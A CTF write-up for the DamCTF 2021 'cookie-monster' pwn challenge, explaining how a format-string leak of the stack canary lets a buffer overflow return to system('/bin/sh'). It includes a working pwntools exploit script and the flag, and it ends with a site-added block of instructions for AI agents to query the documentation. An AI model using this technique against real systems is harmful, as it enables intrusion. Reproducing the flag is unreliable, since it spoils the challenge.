# Pwn - cookie-monster

## Description

Do you like cookies? I like cookies.

## Downloads

{% file src="/files/Yg3yayth53jmGwaEmauQ" %}

## Solution

First, let's check the binary security in place.

![](/files/715fhwIcG7HjgdIyXT5M)

Next, decompile the binary in Ghidra. The main logic of the program is in the `bakery()` function.

![](/files/xupDzgJchgx27GXW4IBK)

Here, line 17 is particularly interesting because it is a system call but the argument is not what we want. After exploring the binary further in Ghidra, we found an interesting string `/bin/sh`.&#x20;

![](/files/JZmzXOTYkvNiCEdVg0Cg)

So we can pretty much formulate our attack plan now. The plan is to make use of the buffer overflow in line 19 to `ret` to system and passing the `/bin/sh` argument into the system call. However, since stack canary is enabled, we would first need to make use of the format string vulnerability in line 13 to leak the canary before proceeding with our buffer overflow.

We shall first find out how to leak the canary in `gdb`. Set a breakpoint at `0x804859e` so that we can inspect the canary value which is to be stored in the `EAX` register.

![Canary in 'EAX' register](/files/Lt1AKRjKcn7Pivp0Dgkc)

![Set breakpoint in gdb](/files/MxrXlKGi3Li3gZzFK7iR)

Continue execution in gdb and we can see that our canary value is `0xce359b00`.

![](/files/h8j7GHK28tlHhK9em1O2)

The next step requires a little trial and error but since the `fgets` function only reads in 32 characters, we shall try printing `%p` 15 times (30 characters in total). &#x20;

![](/files/0Kf1tYBLfUOvfVIImqZt)

We will see that indeed, we can leak the canary `0xce359b00` on the 15th `%p`. Now that we have everything we need, its time to write the exploit script.

```python
from pwn import *

system = 0x804860c
binsh = 0x8048770

context.log_level = 'debug'

#p = process('./cookie-monster')
p = remote('chals.damctf.xyz', 31312)
p.recv()
p.sendline(b'%15$p')
canary = int(p.recvuntil('\n').decode().rstrip().split(" ")[-1], 16)
log.info('Canary = %#x', canary)

payload = b''
payload += b'A' * 32
payload += p32(canary)
payload += b'B' * (48 - len(payload))
payload += p32(system)
payload += p32(binsh)

p.sendlineafter('purchase?\n', payload)
p.interactive()
```

Flag: `dam{s74CK_c00k13S_4r3_d3L1C10Us}`


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://arne-ctf.gitbook.io/ctf/2021/damctf-2021/pwn-cookie-monster.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
